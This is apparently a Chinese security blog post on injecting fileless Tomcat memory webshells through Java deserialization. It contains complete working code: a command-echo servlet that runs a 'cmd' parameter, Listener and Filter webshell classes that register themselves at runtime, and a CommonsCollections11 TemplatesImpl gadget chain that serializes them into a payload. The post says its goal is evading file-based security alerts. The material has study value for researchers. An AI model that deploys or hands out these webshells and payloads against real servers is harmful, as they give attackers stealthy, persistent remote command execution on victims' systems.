Skip to content

Latest commit

 

History

History
569 lines (454 loc) · 26.3 KB

反序列化注入内存马.md

File metadata and controls

569 lines (454 loc) · 26.3 KB

反序列化注入内存马

前言

在前面关于 Tomcat 内存马的学习中,我们初步了解了内存马的原理,但也遗留下了一些问题。之前我们的内存马注入是通过上传 JSP 文件进而注入到内存中,在实战中,这样实现的效果和直接上传一个 JSP 马似乎并无不同,此外 JSP 编译器也会编译我们上传的 JSP 文件生成对应的.java.class文件造成文件落地,极大概率会触发安全告警。

在实战中,我们追求的应该是无文件落地的内存马攻击,所以此篇开始步入内存马的实际用途,即通过反序列化完成无文件落地的内存马注入。在正式学习反序列化注入内存马之前,我们先学习另一种内存马回显技术以及获取StandardContext对象的方法。

全局存储Response回显

在前面通过 JSP 注入内存马的过程中,我们可以通过 JSP 内置的requestresponse轻松解决回显的问题。而如果不在 Jsp 中运行,我们就需要寻找获取requestresponse以及StandardContext对象的方法。

在之前学习的 Tomcat 内存马篇ListenerFilterServlet中,我们通过ServletRequestEventServletRequestHttpServletRequest分别解决了回显的问题。而StandardContext对象则是通过request对象进行获取。

这里我们学习 @Litch1 师傅的办法:通过 Tomcat 全局存储 Response 回显,该方法不依赖任何框架限制,因此相对于网上其他公开方式更为通用。

调用链分析

这里以一个 Listener 实现类 demo为例,断点打在requestInitialized()方法上,看看调用链 image-20221111161012557

跟进Http11Processor#service()方法 image-20221111161633627

发现存在requestresponse,但在该类中并没有出现定义的代码,同时注意到Http11Processor类继承于AbstractProcessorimage-20221111161739872

我们去看AbstractProcessor类的代码 image-20221111161844170

发现AbstractProcessor类存在requestresponse属性,并且修饰符为final,因此一旦定义就不会被改变。接下来就是寻找如何给requestresponse赋值。

AbstractProcessor类的构造方法中,可以看到分别对requestresponse进行赋值 image-20221111164308731

打上断点,看看此时的调用链 image-20221111164342226

我们从AbstractProtocol类中的ConnectionHandlerprocess()方法看起 image-20221111164544609

process()方法调用到了createProcessor()方法并将返回内容赋值给processor,跟进该方法 image-20221111164641976

在该方法中,创建了Http11Processor类,调用到Http11Processor类的构造方法 image-20221111165003491

通过supe()方法又调用到父类AbstractProcessor的构造方法 image-20221111165116807

因为 this 又调用到protected AbstractProcessor()方法,因此完成了requestresponse属性的赋值。

接下来就是寻找存储process的地方,返回到AbstractProtocol类下的ConnectionHandler类中 image-20221111165618491

跟进register()方法 image-20221111165659934

这里将processor获取到的内容存储到RequestInfo类的对象rp中,并且调用了rp.setGlobalProcessor(global)方法 image-20221111171931710

global正是ConnectionHandler类的属性,同时被 final 修饰,继续跟进rp.setGlobalProcessor(global)方法

image-20221112164551999

步入到了RequestInfo类,这里注意到RequestInfo类有一个被final修饰的request对象rep,继续跟进global.addRequestProcessor(rp)方法 image-20221111170247633

发现最终rp被存储到了RequestGroupInfo类的processors 数组中,因此最终将processor存储到了ConnectionHandler类的global属性中。 image-20221112165030415

至此先稍微整理一下目前的利用链

AbstractProtocol$ConnectionHandler#process() --> this.global --> RequestInfo --> Request --> Response

接下来就是想办法获取到AbstractProtocol$ConnectionHandler类,继续回到调用链 image-20221112165543160

往上走有个CoyoteAdapter类,跟进去 image-20221112181044071

存在一个Connector类对象connector属性,去看看Connectorimage-20221112181158951

Connector类中,存在一个protocolHandler属性,查看ProtocolHandler类的层次结构 image-20221112181327930

可以看到AbstractProtocolProtocolHandler接口的实现类,我们跑一下看看Connector类获取到的ProtocolHandler属性为哪个类 image-20221118171326721

可以看到此时的protocolHandlerHttp11NioProtocol类对象,所以如果获取了Connector类就能获取到protocolHandler属性,也就能获取到Http11NioProtocol类的对象,我们跟进该类看看 image-20221118173028090

发现在构造函数中通过super关键字执行NioEndpoint(),我们跟进NioEndpoint类看看层次结构 image-20221118173707281

发现最后继承于AbstractEndpoint类,我们回来看看AbstractProtocol$ConnectionHandlerimage-20221118173832397

跟进Handler接口 image-20221118173908880

发现进入到了AbstractEndpoint类,因此可以通过Connector类获取到AbstractProtocol$ConnectionHandler类。接下来就是寻找获取Connector类的方法。

其实这部分知识在我们之前的 Tomcat内存马之Listener 章节有学到过,Tomcat 在启动时通过Service创建Connector并且进行设置,而Service接口的标准实现类则是StandardService,我们查看其源代码 image-20221114012525535

跟进StandardService#addConnector()方法 image-20221114012821085

可以看到将connector传入到results数组中,最后赋值到属性connectorsimage-20221114012915010

此时调用链为:

StandardService --> Connector --> AbstractProtocol$ConnectionHandler#process() --> this.global --> RequestInfo --> Request --> Response

那么如何调用到StandardService类呢?还记得之前在写 CVE-2016-4437(shiro-550)漏洞分析 一文中最后关于 Tomcat 类加载的讨论,我们继续说说。

之前我们说到 Tomcat 并非传统的双亲委派机制,那么他是如何实现上下层ClassLoader 之前的调用呢?Thread Context ClassLoader(线程上下文类加载器)居功至伟。

Thread 类中通过getContextClassLoader()setContextClassLoader(ClassLoader cl)方法用来获取和设置上下文类加载器,如果没有通过setContextClassLoader(ClassLoader cl)方法设置类加载器,那么线程将继承父线程的上下文类加载器。

如果在应用程序的全局范围内都没有设置的话,那么这个上下文类加载器默认就是应用程序类加载器。对于 Tomcat 来说ContextClassLoader被设置为WebAppClassLoader(在一些框架中可能是继承了public abstract WebappClassLoaderBase的其他 Loader )。

我们打个断点 image-20221115152421628

找找此时tccl的内容 image-20221115152529780

这里可以看到,此时的线程类加载器是继承了WebAppClassLoader类的ParallelWebAppClassLoader类,并且看到了StandardService类,所以我们可以通过Thread.currentThread().getContextClassLoader() 进而获取到上下文中的StandardService类。

最终调用链为:

WebappClassLoaderBase --> Thread.currentThread().getContextClassLoader() --> StandardService --> Connector --> AbstractProtocol$ConnectionHandler#process() --> this.global --> RequestInfo --> Request --> Response

构造利用链

我们开始按照上面跟的图和总结的利用链开始逐步构造

package com.servlet.study;

import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.StandardContext;
import org.apache.coyote.ProtocolHandler;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;

/**
 * Created by dotast on 2022/11/21 16:50
 */
@WebServlet("/tomcatecho")
public class TomcatEcho extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try{
            // 获取StandardContext
            org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase)Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
            // 获取ApplicationContext
            Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
            context.setAccessible(true);
            org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext)context.get(standardContext);
            // 获取StandardService
            Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
            service.setAccessible(true);
            org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService)service.get(applicationContext);
            // 获取Connectors
            Field connectorsField = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
            connectorsField.setAccessible(true);
            Connector[] connectors = (Connector[]) connectorsField.get(standardService);
            Connector connector = connectors[0];
            // 获取ConnectionHandler
            ProtocolHandler protocolHandler = connector.getProtocolHandler();
            Field handler = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredField("handler");
            handler.setAccessible(true);
            org.apache.tomcat.util.net.AbstractEndpoint.Handler abstractEndpointHandler = (org.apache.tomcat.util.net.AbstractEndpoint.Handler)handler.get(protocolHandler);
            // 获取RequestGroupInfo
            Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
            globalField.setAccessible(true);
            RequestGroupInfo requestGroupInfo = (RequestGroupInfo)globalField.get(abstractEndpointHandler);
            // 获取process
            Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
            processorsField.setAccessible(true);
            List<RequestInfo> requestInfoList = (List<RequestInfo>) processorsField.get(requestGroupInfo);
            // 获取request和response
            Field requestField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
            requestField.setAccessible(true);
            for(RequestInfo requestInfo: requestInfoList){
                org.apache.coyote.Request request = (org.apache.coyote.Request) requestField.get(requestInfo);
                //通过org.apache.coyote.Request的Notes属性获取继承HttpServletRequest的org.apache.catalina.connector.Request
                org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1);
                org.apache.catalina.connector.Response http_response = http_request.getResponse();

                InputStream inputStream = Runtime.getRuntime().exec(http_request.getParameter("cmd")).getInputStream();
                ByteArrayOutputStream bao = new ByteArrayOutputStream();
                byte[] bytes = new byte[1024];
                int a = -1;
                while((a = inputStream.read(bytes)) !=-1){
                    bao.write(bytes, 0, a);
                }
                http_response.getWriter().write(new String(bao.toByteArray()));
                http_response.getWriter().flush();
            }
        }catch (Exception e){

        }
    }
}

image-20221121171145053

在 2022祥云杯 ezjava 题目就运用到了该知识点,感兴趣的移步另一篇文章:2022 祥云杯 -- ezjava(cc链 + Tomcat全局回显/Spring内存马)

反序列化注入内存马

添加commons-collectionsservlet的依赖,我们写一个可以存在反序列化漏洞的servlet做测试

package com.servlet.study;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;

/**
 * Created by dotast on 2022/11/1 11:21
 */
@WebServlet(urlPatterns = "/vuln")
public class ServletTest extends HttpServlet {
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        byte[] data = Base64.getDecoder().decode(req.getParameter("name"));
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(data);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        try{
            objectInputStream.readObject();
        }catch (Exception e){
            e.printStackTrace();
        }

    }
}

反序列化注入Listener内存马

编写TomcatEchoInjectListener注入内存马类

package com.memoryshell;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.reflect.Field;

/**
 * Created by dotast on 2022/11/18 11:20
 */
public class TomcatEchoInjectListener extends AbstractTranslet implements ServletRequestListener {

    public TomcatEchoInjectListener() throws Exception{
        WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
        standardContext.addApplicationEventListener(this);
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void requestDestroyed(ServletRequestEvent sre) {

    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();

        try{
            String cmd = req.getParameter("cmd");
            if(cmd != null){
                Field field = req.getClass().getDeclaredField("request");
                field.setAccessible(true);
                org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) field.get(req);
                Response response = request.getResponse();
                InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                ByteArrayOutputStream bao = new ByteArrayOutputStream();
                byte[] bytes = new byte[1024];
                int a = -1;
                while((a = inputStream.read(bytes))!=-1){
                    bao.write(bytes,0,a);
                }
                response.getWriter().write(new String(bao.toByteArray()));
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

再通过CommonsCollections11链加载TomcatEchoInjectListener类的字节码生成序列化数据

package com.serialize;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

/**
 * Created by dotast on 2022/10/12 15:50
 */
public class CommonsCollections11 {
    public static void main(String[] args) throws Exception{
        CommonsCollections11 commonsCollections11 = new CommonsCollections11();
        commonsCollections11.serialize();
        //commonsCollections11.unserialize();
    }
    public void serialize() throws Exception{
        byte[] classBytes = getBytes();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        // 反射修改
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates, targetByteCodes);

        Field name = templates.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "name");

        Field _class = templates.getClass().getDeclaredField("_class");
        _class.setAccessible(true);
        _class.set(templates, null);

        // 创建恶意的调用链
        InvokerTransformer invokerTransformer = new InvokerTransformer("toString",new Class[0], new Object[0]);
        Map innerMap = new HashMap<>();
        Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
        // 创建TiedMapEntry实例
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,templates);
        Map expMap = new HashMap<>();
        expMap.put(tiedMapEntry,"valueTest");
        outerMap.remove(templates);
        // 通过反射修改iMethodName值为newTransformer
        Field f = invokerTransformer.getClass().getDeclaredField("iMethodName");
        f.setAccessible(true);
        f.set(invokerTransformer, "newTransformer");
        FileOutputStream fileOutputStream = new FileOutputStream("1.txt");
        // 创建并实例化对象输出流
        ObjectOutputStream out =  new ObjectOutputStream(fileOutputStream);
        out.writeObject(expMap);
    }
    /*
     * 服务端
     *  */
    public void unserialize() throws Exception{
        // 创建并实例化文件输入流
        FileInputStream fileInputStream = new FileInputStream("1.txt");
        // 创建并实例化对象输入流
        ObjectInputStream in = new ObjectInputStream(fileInputStream);
        in.readObject();
    }
    public static byte[] getBytes() throws Exception{
        InputStream inputStream = new FileInputStream(new File("./target/classes/com/memoryshell/TomcatEchoInjectListener.class"));
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        int a = -1;
        while((a = inputStream.read())!=-1){
            bao.write(a);
        }
        byte[] bytes = bao.toByteArray();
        return bytes;

    }
}

image-20221121172016828

Listener 内存马注入成功 image-20221121172043440

image-20221121172058234

反序列化注入Filter内存马

同理,把加载内存马的语句放在构造方法中,在CommonsCollections11反序列化时执行

package com.memoryshell;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;

/**
 * Created by dotast on 2022/11/21 11:42
 */
public class TomcatEchoInjectFilter extends AbstractTranslet implements Filter {
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }

    public TomcatEchoInjectFilter() throws Exception{
        try {
            String filterName = "TomcatEchoInjectFilter";
            // 获取StandardContext对象
            WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

            // 利用FilterDef对filter进行封装
            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(this);
            filterDef.setFilterName(filterName);
            filterDef.setFilterClass(this.getClass().getName());
            standardContext.addFilterDef(filterDef);

            // 创建FilterMap,将filterName和urlPatterns进行绑定
            FilterMap filterMap = new FilterMap();
            filterMap.setFilterName(filterName);
            filterMap.addURLPattern("/*");
            filterMap.setDispatcher(DispatcherType.REQUEST.name());
            standardContext.addFilterMapBefore(filterMap);

            // 封装filterConfig和filterDef到filterConfigs
            Field field_filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
            field_filterConfigs.setAccessible(true);
            Map filterConfigs = (Map) field_filterConfigs.get(standardContext);

            // 利用反射创建FilterConfig,并且将filterDef和standardContext作为参数进行传入进行封装filterDe
            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

            // 添加到filterConfigs中
            filterConfigs.put(filterName,applicationFilterConfig);
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        String cmd = servletRequest.getParameter("cmd");
        try{
            if(cmd != null){
                InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                ByteArrayOutputStream bao = new ByteArrayOutputStream();
                byte[] bytes = new byte[1024];
                int a = -1;
                while((a = inputStream.read(bytes))!=-1){
                    bao.write(bytes, 0, a);
                }
                servletResponse.getWriter().write(new String(bao.toByteArray()));
            }
        }catch (Exception e){
            e.printStackTrace();
        }
        // 使下一个 Filter 能够继续执行
        filterChain.doFilter(servletRequest,servletResponse);
    }

    @Override
    public void destroy() {
    }
}

坑点

这里注意两个坑点,一个是需要添加commons-collections依赖到这里,不然会报找不到类的错误 image-20221121164348887

另一个坑点是我的 Tomcat 版本是 9.0.65,该版本webappClassLoaderBase.getResources().getContext()会返回为空 image-20221121164558195

重新下了个 9.0.50 版本的就可以了 image-20221121164635206

当然高版本下也可以通过反射获取

WebappClassLoaderBase classLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    try {
        Field baseResources = WebappClassLoaderBase.class.getDeclaredField("resources");
        baseResources.setAccessible(true);
        WebResourceRoot webResourceRoot = (WebResourceRoot) baseResources.get(classLoaderBase);
        StandardContext context = (StandardContext) webResourceRoot.getContext();
        } catch (Exception e) {
            e.printStackTrace();
        }